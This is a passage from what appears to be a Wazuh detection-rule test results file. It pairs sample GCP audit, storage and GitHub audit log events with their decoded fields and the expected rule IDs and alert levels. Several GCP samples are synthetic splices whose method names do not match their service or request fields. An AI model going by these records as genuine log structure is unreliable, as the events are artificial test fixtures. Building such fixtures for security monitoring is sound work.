"user:javier.bejar@wazuh.com", "gcp.protoPayload.authorizationInfo": "[{'resource': 'projects/wazuh-dev-258815/topics/threatintel-gcp', 'permission': 'pubsub.topics.attachSubscription', 'resourceAttributes': {}, 'granted': True}]", "gcp.protoPayload.methodName": "v3.compute.routes.delete", "gcp.protoPayload.request.ackDeadlineSeconds": "10", "gcp.protoPayload.request.messageRetentionDuration": "604800s", "gcp.protoPayload.request.name": "projects/wazuh-dev-258815/subscriptions/threatintel-gcp-sub", "gcp.protoPayload.request.topic": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.protoPayload.requestMetadata.callerIp": "80.39.210.176", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)", "gcp.protoPayload.requestMetadata.requestAttributes.time": "2021-06-10T15:07:09.68842532Z", "gcp.protoPayload.resourceName": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.protoPayload.response.ackDeadlineSeconds": "10", "gcp.protoPayload.response.messageRetentionDuration": "604800s", "gcp.protoPayload.response.name": "projects/wazuh-dev-258815/subscriptions/threatintel-gcp-sub", "gcp.protoPayload.response.topic": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.protoPayload.serviceName": "pubsub.googleapis.com", "gcp.receiveTimestamp": "2021-06-10T15:07:15.879792037Z", "gcp.resource.labels.project_id": "wazuh-dev-258815", "gcp.resource.labels.topic_id": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.resource.type": "pubsub_topic", "gcp.severity": "NOTICE", "gcp.timestamp": "2021-06-10T15:07:09.68170948Z", "integration": "gcp"}, "field_names": ["gcp.insertId", "gcp.logName", "gcp.protoPayload.authenticationInfo.principalEmail", "gcp.protoPayload.authenticationInfo.principalSubject", "gcp.protoPayload.authorizationInfo", "gcp.protoPayload.methodName", "gcp.protoPayload.request.ackDeadlineSeconds", "gcp.protoPayload.request.messageRetentionDuration", "gcp.protoPayload.request.name", "gcp.protoPayload.request.topic", "gcp.protoPayload.requestMetadata.callerIp", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent", "gcp.protoPayload.requestMetadata.requestAttributes.time", "gcp.protoPayload.resourceName", "gcp.protoPayload.response.ackDeadlineSeconds", "gcp.protoPayload.response.messageRetentionDuration", "gcp.protoPayload.response.name", "gcp.protoPayload.response.topic", "gcp.protoPayload.serviceName", "gcp.receiveTimestamp", "gcp.resource.labels.project_id", "gcp.resource.labels.topic_id", "gcp.resource.type", "gcp.severity", "gcp.timestamp", "integration"], "rule": "65069", "level": "3", "expected_decoder": "json", "expected_rule": "65069", "rule_matches_expected": true, "ini_file": "gcp.ini", "section": "GCP virtual private cloud (VPC) route deleted."} +{"log": "{\"gcp\":{\"severity\":\"INFO\",\"logName\":\"projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Fdata_access\",\"resource\":{\"type\":\"audited_resource\",\"labels\":{\"method\":\"google.monitoring.v3.MetricService.ListTimeSeries\",\"project_id\":\"wazuh-dev-258815\",\"service\":\"monitoring.googleapis.com\"}},\"protoPayload\":{\"requestMetadata\":{\"requestAttributes\":{\"time\":\"2021-06-11T09:35:18.077583788Z\"},\"callerSuppliedUserAgent\":\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)\",\"callerIp\":\"80.39.210.176\"},\"request\":{\"filter\":\"metric.type=\\\"pubsub.googleapis.com/topic/send_message_operation_count\\\" AND resource.labels.project_id=\\\"wazuh-dev-258815\\\" AND resource.labels.topic_id=\\\"wazuh-gcloud-blog-topic\\\" AND resource.type=\\\"pubsub_topic\\\"\",\"@type\":\"type.googleapis.com/google.monitoring.v3.ListTimeSeriesRequest\",\"name\":\"projects/wazuh-dev-258815\"},\"authenticationInfo\":{\"principalEmail\":\"javier.bejar@wazuh.com\"},\"authorizationInfo\":[{\"resource\":\"769054035614\",\"permission\":\"monitoring.timeSeries.list\",\"resourceAttributes\":{},\"granted\":true}],\"@type\":\"type.googleapis.com/google.cloud.audit.AuditLog\",\"numResponseItems\":\"1\",\"methodName\":\"google.iam.admin.v3.CreateServiceAccount\",\"resourceName\":\"projects/wazuh-dev-258815\",\"serviceName\":\"monitoring.googleapis.com\"},\"receiveTimestamp\":\"2021-06-11T09:35:18.35940193Z\",\"insertId\":\"s1gmn4e7xlr1\",\"timestamp\":\"2021-06-11T09:35:18.077460268Z\"},\"integration\":\"gcp\"}", "decoder": "json", "parent": "", "fields": {"gcp.insertId": "s1gmn4e7xlr1", "gcp.logName": "projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Fdata_access", "gcp.protoPayload.authenticationInfo.principalEmail": "javier.bejar@wazuh.com", "gcp.protoPayload.authorizationInfo": "[{'resource': '769054035614', 'permission': 'monitoring.timeSeries.list', 'resourceAttributes': {}, 'granted': True}]", "gcp.protoPayload.methodName": "google.iam.admin.v3.CreateServiceAccount", "gcp.protoPayload.numResponseItems": "1", "gcp.protoPayload.request.filter": "metric.type=\"pubsub.googleapis.com/topic/send_message_operation_count\" AND resource.labels.project_id=\"wazuh-dev-258815\" AND resource.labels.topic_id=\"wazuh-gcloud-blog-topic\" AND resource.type=\"pubsub_topic\"", "gcp.protoPayload.request.name": "projects/wazuh-dev-258815", "gcp.protoPayload.requestMetadata.callerIp": "80.39.210.176", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)", "gcp.protoPayload.requestMetadata.requestAttributes.time": "2021-06-11T09:35:18.077583788Z", "gcp.protoPayload.resourceName": "projects/wazuh-dev-258815", "gcp.protoPayload.serviceName": "monitoring.googleapis.com", "gcp.receiveTimestamp": "2021-06-11T09:35:18.35940193Z", "gcp.resource.labels.method": "google.monitoring.v3.MetricService.ListTimeSeries", "gcp.resource.labels.project_id": "wazuh-dev-258815", "gcp.resource.labels.service": "monitoring.googleapis.com", "gcp.resource.type": "audited_resource", "gcp.severity": "INFO", "gcp.timestamp": "2021-06-11T09:35:18.077460268Z", "integration": "gcp"}, "field_names": ["gcp.insertId", "gcp.logName", "gcp.protoPayload.authenticationInfo.principalEmail", "gcp.protoPayload.authorizationInfo", "gcp.protoPayload.methodName", "gcp.protoPayload.numResponseItems", "gcp.protoPayload.request.filter", "gcp.protoPayload.request.name", "gcp.protoPayload.requestMetadata.callerIp", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent", "gcp.protoPayload.requestMetadata.requestAttributes.time", "gcp.protoPayload.resourceName", "gcp.protoPayload.serviceName", "gcp.receiveTimestamp", "gcp.resource.labels.method", "gcp.resource.labels.project_id", "gcp.resource.labels.service", "gcp.resource.type", "gcp.severity", "gcp.timestamp", "integration"], "rule": "65070", "level": "3", "expected_decoder": "json", "expected_rule": "65070", "rule_matches_expected": true, "ini_file": "gcp.ini", "section": "GCP new service account created."} +{"log": "{\"gcp\":{\"severity\":\"INFO\",\"logName\":\"projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Fdata_access\",\"resource\":{\"type\":\"audited_resource\",\"labels\":{\"method\":\"google.monitoring.v3.MetricService.ListTimeSeries\",\"project_id\":\"wazuh-dev-258815\",\"service\":\"monitoring.googleapis.com\"}},\"protoPayload\":{\"requestMetadata\":{\"requestAttributes\":{\"time\":\"2021-06-11T09:35:18.077583788Z\"},\"callerSuppliedUserAgent\":\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)\",\"callerIp\":\"80.39.210.176\"},\"request\":{\"filter\":\"metric.type=\\\"pubsub.googleapis.com/topic/send_message_operation_count\\\" AND resource.labels.project_id=\\\"wazuh-dev-258815\\\" AND resource.labels.topic_id=\\\"wazuh-gcloud-blog-topic\\\" AND resource.type=\\\"pubsub_topic\\\"\",\"@type\":\"type.googleapis.com/google.monitoring.v3.ListTimeSeriesRequest\",\"name\":\"projects/wazuh-dev-258815\"},\"authenticationInfo\":{\"principalEmail\":\"javier.bejar@wazuh.com\"},\"authorizationInfo\":[{\"resource\":\"769054035614\",\"permission\":\"monitoring.timeSeries.list\",\"resourceAttributes\":{},\"granted\":true}],\"@type\":\"type.googleapis.com/google.cloud.audit.AuditLog\",\"numResponseItems\":\"1\",\"methodName\":\"google.iam.admin.v3.CreateServiceAccountKey\",\"resourceName\":\"projects/wazuh-dev-258815\",\"serviceName\":\"monitoring.googleapis.com\"},\"receiveTimestamp\":\"2021-06-11T09:35:18.35940193Z\",\"insertId\":\"s1gmn4e7xlr1\",\"timestamp\":\"2021-06-11T09:35:18.077460268Z\"},\"integration\":\"gcp\"}", "decoder": "json", "parent": "", "fields": {"gcp.insertId": "s1gmn4e7xlr1", "gcp.logName": "projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Fdata_access", "gcp.protoPayload.authenticationInfo.principalEmail": "javier.bejar@wazuh.com", "gcp.protoPayload.authorizationInfo": "[{'resource': '769054035614', 'permission': 'monitoring.timeSeries.list', 'resourceAttributes': {}, 'granted': True}]", "gcp.protoPayload.methodName": "google.iam.admin.v3.CreateServiceAccountKey", "gcp.protoPayload.numResponseItems": "1", "gcp.protoPayload.request.filter": "metric.type=\"pubsub.googleapis.com/topic/send_message_operation_count\" AND resource.labels.project_id=\"wazuh-dev-258815\" AND resource.labels.topic_id=\"wazuh-gcloud-blog-topic\" AND resource.type=\"pubsub_topic\"", "gcp.protoPayload.request.name": "projects/wazuh-dev-258815", "gcp.protoPayload.requestMetadata.callerIp": "80.39.210.176", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)", "gcp.protoPayload.requestMetadata.requestAttributes.time": "2021-06-11T09:35:18.077583788Z", "gcp.protoPayload.resourceName": "projects/wazuh-dev-258815", "gcp.protoPayload.serviceName": "monitoring.googleapis.com", "gcp.receiveTimestamp": "2021-06-11T09:35:18.35940193Z", "gcp.resource.labels.method": "google.monitoring.v3.MetricService.ListTimeSeries", "gcp.resource.labels.project_id": "wazuh-dev-258815", "gcp.resource.labels.service": "monitoring.googleapis.com", "gcp.resource.type": "audited_resource", "gcp.severity": "INFO", "gcp.timestamp": "2021-06-11T09:35:18.077460268Z", "integration": "gcp"}, "field_names": ["gcp.insertId", "gcp.logName", "gcp.protoPayload.authenticationInfo.principalEmail", "gcp.protoPayload.authorizationInfo", "gcp.protoPayload.methodName", "gcp.protoPayload.numResponseItems", "gcp.protoPayload.request.filter", "gcp.protoPayload.request.name", "gcp.protoPayload.requestMetadata.callerIp", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent", "gcp.protoPayload.requestMetadata.requestAttributes.time", "gcp.protoPayload.resourceName", "gcp.protoPayload.serviceName", "gcp.receiveTimestamp", "gcp.resource.labels.method", "gcp.resource.labels.project_id", "gcp.resource.labels.service", "gcp.resource.type", "gcp.severity", "gcp.timestamp", "integration"], "rule": "65071", "level": "3", "expected_decoder": "json", "expected_rule": "65071", "rule_matches_expected": true, "ini_file": "gcp.ini", "section": "GCP new key is created for a service account."} +{"log": "{\"gcp\":{\"severity\":\"INFO\",\"logName\":\"projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Fdata_access\",\"resource\":{\"type\":\"audited_resource\",\"labels\":{\"method\":\"google.monitoring.v3.MetricService.ListTimeSeries\",\"project_id\":\"wazuh-dev-258815\",\"service\":\"monitoring.googleapis.com\"}},\"protoPayload\":{\"requestMetadata\":{\"requestAttributes\":{\"time\":\"2021-06-11T09:35:18.077583788Z\"},\"callerSuppliedUserAgent\":\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)\",\"callerIp\":\"80.39.210.176\"},\"request\":{\"filter\":\"metric.type=\\\"pubsub.googleapis.com/topic/send_message_operation_count\\\" AND resource.labels.project_id=\\\"wazuh-dev-258815\\\" AND resource.labels.topic_id=\\\"wazuh-gcloud-blog-topic\\\" AND resource.type=\\\"pubsub_topic\\\"\",\"@type\":\"type.googleapis.com/google.monitoring.v3.ListTimeSeriesRequest\",\"name\":\"projects/wazuh-dev-258815\"},\"authenticationInfo\":{\"principalEmail\":\"javier.bejar@wazuh.com\"},\"authorizationInfo\":[{\"resource\":\"769054035614\",\"permission\":\"monitoring.timeSeries.list\",\"resourceAttributes\":{},\"granted\":true}],\"@type\":\"type.googleapis.com/google.cloud.audit.AuditLog\",\"numResponseItems\":\"1\",\"methodName\":\"google.iam.admin.v3.DeleteServiceAccountKey\",\"resourceName\":\"projects/wazuh-dev-258815\",\"serviceName\":\"monitoring.googleapis.com\"},\"receiveTimestamp\":\"2021-06-11T09:35:18.35940193Z\",\"insertId\":\"s1gmn4e7xlr1\",\"timestamp\":\"2021-06-11T09:35:18.077460268Z\"},\"integration\":\"gcp\"}", "decoder": "json", "parent": "", "fields": {"gcp.insertId": "s1gmn4e7xlr1", "gcp.logName": "projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Fdata_access", "gcp.protoPayload.authenticationInfo.principalEmail": "javier.bejar@wazuh.com", "gcp.protoPayload.authorizationInfo": "[{'resource': '769054035614', 'permission': 'monitoring.timeSeries.list', 'resourceAttributes': {}, 'granted': True}]", "gcp.protoPayload.methodName": "google.iam.admin.v3.DeleteServiceAccountKey", "gcp.protoPayload.numResponseItems": "1", "gcp.protoPayload.request.filter": "metric.type=\"pubsub.googleapis.com/topic/send_message_operation_count\" AND resource.labels.project_id=\"wazuh-dev-258815\" AND resource.labels.topic_id=\"wazuh-gcloud-blog-topic\" AND resource.type=\"pubsub_topic\"", "gcp.protoPayload.request.name": "projects/wazuh-dev-258815", "gcp.protoPayload.requestMetadata.callerIp": "80.39.210.176", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)", "gcp.protoPayload.requestMetadata.requestAttributes.time": "2021-06-11T09:35:18.077583788Z", "gcp.protoPayload.resourceName": "projects/wazuh-dev-258815", "gcp.protoPayload.serviceName": "monitoring.googleapis.com", "gcp.receiveTimestamp": "2021-06-11T09:35:18.35940193Z", "gcp.resource.labels.method": "google.monitoring.v3.MetricService.ListTimeSeries", "gcp.resource.labels.project_id": "wazuh-dev-258815", "gcp.resource.labels.service": "monitoring.googleapis.com", "gcp.resource.type": "audited_resource", "gcp.severity": "INFO", "gcp.timestamp": "2021-06-11T09:35:18.077460268Z", "integration": "gcp"}, "field_names": ["gcp.insertId", "gcp.logName", "gcp.protoPayload.authenticationInfo.principalEmail", "gcp.protoPayload.authorizationInfo", "gcp.protoPayload.methodName", "gcp.protoPayload.numResponseItems", "gcp.protoPayload.request.filter", "gcp.protoPayload.request.name", "gcp.protoPayload.requestMetadata.callerIp", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent", "gcp.protoPayload.requestMetadata.requestAttributes.time", "gcp.protoPayload.resourceName", "gcp.protoPayload.serviceName", "gcp.receiveTimestamp", "gcp.resource.labels.method", "gcp.resource.labels.project_id", "gcp.resource.labels.service", "gcp.resource.type", "gcp.severity", "gcp.timestamp", "integration"], "rule": "65072", "level": "3", "expected_decoder": "json", "expected_rule": "65072", "rule_matches_expected": true, "ini_file": "gcp.ini", "section": "GCP identity and access management (IAM) service account key deleted."} +{"log": "{\"gcp\":{\"severity\":\"INFO\",\"logName\":\"projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Fdata_access\",\"resource\":{\"type\":\"audited_resource\",\"labels\":{\"method\":\"google.monitoring.v3.MetricService.ListTimeSeries\",\"project_id\":\"wazuh-dev-258815\",\"service\":\"monitoring.googleapis.com\"}},\"protoPayload\":{\"requestMetadata\":{\"requestAttributes\":{\"time\":\"2021-06-11T09:35:18.077583788Z\"},\"callerSuppliedUserAgent\":\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)\",\"callerIp\":\"80.39.210.176\"},\"request\":{\"filter\":\"metric.type=\\\"pubsub.googleapis.com/topic/send_message_operation_count\\\" AND resource.labels.project_id=\\\"wazuh-dev-258815\\\" AND resource.labels.topic_id=\\\"wazuh-gcloud-blog-topic\\\" AND resource.type=\\\"pubsub_topic\\\"\",\"@type\":\"type.googleapis.com/google.monitoring.v3.ListTimeSeriesRequest\",\"name\":\"projects/wazuh-dev-258815\"},\"authenticationInfo\":{\"principalEmail\":\"javier.bejar@wazuh.com\"},\"authorizationInfo\":[{\"resource\":\"769054035614\",\"permission\":\"monitoring.timeSeries.list\",\"resourceAttributes\":{},\"granted\":true}],\"@type\":\"type.googleapis.com/google.cloud.audit.AuditLog\",\"numResponseItems\":\"1\",\"methodName\":\"google.iam.admin.v3.CreateRole\",\"resourceName\":\"projects/wazuh-dev-258815\",\"serviceName\":\"monitoring.googleapis.com\"},\"receiveTimestamp\":\"2021-06-11T09:35:18.35940193Z\",\"insertId\":\"s1gmn4e7xlr1\",\"timestamp\":\"2021-06-11T09:35:18.077460268Z\"},\"integration\":\"gcp\"}", "decoder": "json", "parent": "", "fields": {"gcp.insertId": "s1gmn4e7xlr1", "gcp.logName": "projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Fdata_access", "gcp.protoPayload.authenticationInfo.principalEmail": "javier.bejar@wazuh.com", "gcp.protoPayload.authorizationInfo": "[{'resource': '769054035614', 'permission': 'monitoring.timeSeries.list', 'resourceAttributes': {}, 'granted': True}]", "gcp.protoPayload.methodName": "google.iam.admin.v3.CreateRole", "gcp.protoPayload.numResponseItems": "1", "gcp.protoPayload.request.filter": "metric.type=\"pubsub.googleapis.com/topic/send_message_operation_count\" AND resource.labels.project_id=\"wazuh-dev-258815\" AND resource.labels.topic_id=\"wazuh-gcloud-blog-topic\" AND resource.type=\"pubsub_topic\"", "gcp.protoPayload.request.name": "projects/wazuh-dev-258815", "gcp.protoPayload.requestMetadata.callerIp": "80.39.210.176", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)", "gcp.protoPayload.requestMetadata.requestAttributes.time": "2021-06-11T09:35:18.077583788Z", "gcp.protoPayload.resourceName": "projects/wazuh-dev-258815", "gcp.protoPayload.serviceName": "monitoring.googleapis.com", "gcp.receiveTimestamp": "2021-06-11T09:35:18.35940193Z", "gcp.resource.labels.method": "google.monitoring.v3.MetricService.ListTimeSeries", "gcp.resource.labels.project_id": "wazuh-dev-258815", "gcp.resource.labels.service": "monitoring.googleapis.com", "gcp.resource.type": "audited_resource", "gcp.severity": "INFO", "gcp.timestamp": "2021-06-11T09:35:18.077460268Z", "integration": "gcp"}, "field_names": ["gcp.insertId", "gcp.logName", "gcp.protoPayload.authenticationInfo.principalEmail", "gcp.protoPayload.authorizationInfo", "gcp.protoPayload.methodName", "gcp.protoPayload.numResponseItems", "gcp.protoPayload.request.filter", "gcp.protoPayload.request.name", "gcp.protoPayload.requestMetadata.callerIp", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent", "gcp.protoPayload.requestMetadata.requestAttributes.time", "gcp.protoPayload.resourceName", "gcp.protoPayload.serviceName", "gcp.receiveTimestamp", "gcp.resource.labels.method", "gcp.resource.labels.project_id", "gcp.resource.labels.service", "gcp.resource.type", "gcp.severity", "gcp.timestamp", "integration"], "rule": "65073", "level": "3", "expected_decoder": "json", "expected_rule": "65073", "rule_matches_expected": true, "ini_file": "gcp.ini", "section": "GCP identity and access management (IAM) custom role created."} +{"log": "{\"integration\": \"gcp\", \"gcp\": {\"time_micros\": \"1623657113850001\", \"c_ip\": \"34.75.50.245\", \"c_ip_type\": \"1\", \"c_ip_region\": \"\", \"cs_method\": \"GET\", \"cs_uri\": \"/download/storage/v1/b/framework-test-bucket/o/usage-logs_usage_2021_06_11_14_00_00_0deb315d529495e45e_v0?alt=media&generation=1623445458746803\", \"sc_status\": \"206\", \"cs_bytes\": \"0\", \"sc_bytes\": \"644\", \"time_taken_micros\": \"141000\", \"cs_host\": \"storage.googleapis.com\", \"cs_referer\": \"\", \"cs_user_agent\": \"DataflowBatchWorkerHarness Google-API-Java-Client/1.30.10 Google-HTTP-Java-Client/1.36.0 (gzip)\", \"s_request_id\": \"ABg5-UwwFhsTGuOn2WpJdUzroNMTNuh-IabN-9XKEwnEJMi3Hcv_o96mM8lqKU3wWWGko5RL4pEoaepuizcP_NQIKhw\", \"cs_operation\": \"storage.objects.get\", \"cs_bucket\": \"framework-test-bucket\", \"cs_object\": \"usage-logs_usage_2021_06_11_14_00_00_0deb315d529495e45e_v0\", \"source\": \"gcp_bucket\"}}", "decoder": "json", "parent": "", "fields": {"gcp.c_ip": "34.75.50.245", "gcp.c_ip_type": "1", "gcp.cs_bucket": "framework-test-bucket", "gcp.cs_bytes": "0", "gcp.cs_host": "storage.googleapis.com", "gcp.cs_method": "GET", "gcp.cs_object": "usage-logs_usage_2021_06_11_14_00_00_0deb315d529495e45e_v0", "gcp.cs_operation": "storage.objects.get", "gcp.cs_uri": "/download/storage/v1/b/framework-test-bucket/o/usage-logs_usage_2021_06_11_14_00_00_0deb315d529495e45e_v0?alt=media&generation=1623445458746803", "gcp.cs_user_agent": "DataflowBatchWorkerHarness Google-API-Java-Client/1.30.10 Google-HTTP-Java-Client/1.36.0 (gzip)", "gcp.s_request_id": "ABg5-UwwFhsTGuOn2WpJdUzroNMTNuh-IabN-9XKEwnEJMi3Hcv_o96mM8lqKU3wWWGko5RL4pEoaepuizcP_NQIKhw", "gcp.sc_bytes": "644", "gcp.sc_status": "206", "gcp.source": "gcp_bucket", "gcp.time_micros": "1623657113850001", "gcp.time_taken_micros": "141000", "integration": "gcp"}, "field_names": ["gcp.c_ip", "gcp.c_ip_type", "gcp.cs_bucket", "gcp.cs_bytes", "gcp.cs_host", "gcp.cs_method", "gcp.cs_object", "gcp.cs_operation", "gcp.cs_uri", "gcp.cs_user_agent", "gcp.s_request_id", "gcp.sc_bytes", "gcp.sc_status", "gcp.source", "gcp.time_micros", "gcp.time_taken_micros", "integration"], "rule": "65074", "level": "2", "expected_decoder": "json", "expected_rule": "65074", "rule_matches_expected": true, "ini_file": "gcp.ini", "section": "GCP usage."} +{"log": "{\"integration\": \"gcp\", \"gcp\": {\"bucket\": \"bucket_name\", \"storage_byte_hours\": \"15674\"}}", "decoder": "json", "parent": "", "fields": {"gcp.bucket": "bucket_name", "gcp.storage_byte_hours": "15674", "integration": "gcp"}, "field_names": ["gcp.bucket", "gcp.storage_byte_hours", "integration"], "rule": "65075", "level": "2", "expected_decoder": "json", "expected_rule": "65075", "rule_matches_expected": true, "ini_file": "gcp.ini", "section": "GCP storage."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"account.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "account.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91101", "level": "3", "expected_decoder": "json", "expected_rule": "91101", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Account Category."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"account.billing_plan_change\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "account.billing_plan_change", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91102", "level": "9", "expected_decoder": "json", "expected_rule": "91102", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Account billing plan change."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"account.plan_change\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "account.plan_change", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91103", "level": "9", "expected_decoder": "json", "expected_rule": "91103", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Account plan change."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"account.pending_plan_change\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "account.pending_plan_change", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91104", "level": "9", "expected_decoder": "json", "expected_rule": "91104", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Account pending plan change."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"account.pending_subscription_change\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "account.pending_subscription_change", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91105", "level": "9", "expected_decoder": "json", "expected_rule": "91105", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Account pending subscription change."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"advisory_credit.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "advisory_credit.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91106", "level": "3", "expected_decoder": "json", "expected_rule": "91106", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Advisory credit."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"advisory_credit.accept\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "advisory_credit.accept", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91107", "level": "7", "expected_decoder": "json", "expected_rule": "91107", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Advisory credit accept."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"advisory_credit.create\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "advisory_credit.create", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91108", "level": "7", "expected_decoder": "json", "expected_rule": "91108", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Advisory credit create."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"advisory_credit.decline\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "advisory_credit.decline", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91109", "level": "7", "expected_decoder": "json", "expected_rule": "91109", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Advisory credit decline."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"advisory_credit.destroy\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "advisory_credit.destroy", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91110", "level": "7", "expected_decoder": "json", "expected_rule": "91110", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Advisory credit destroy."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"billing.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "billing.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91111", "level": "3", "expected_decoder": "json", "expected_rule": "91111", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Billing."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"billing.change_billing_type\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "billing.change_billing_type", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91112", "level": "9", "expected_decoder": "json", "expected_rule": "91112", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Billing change billing type."} +{"log": 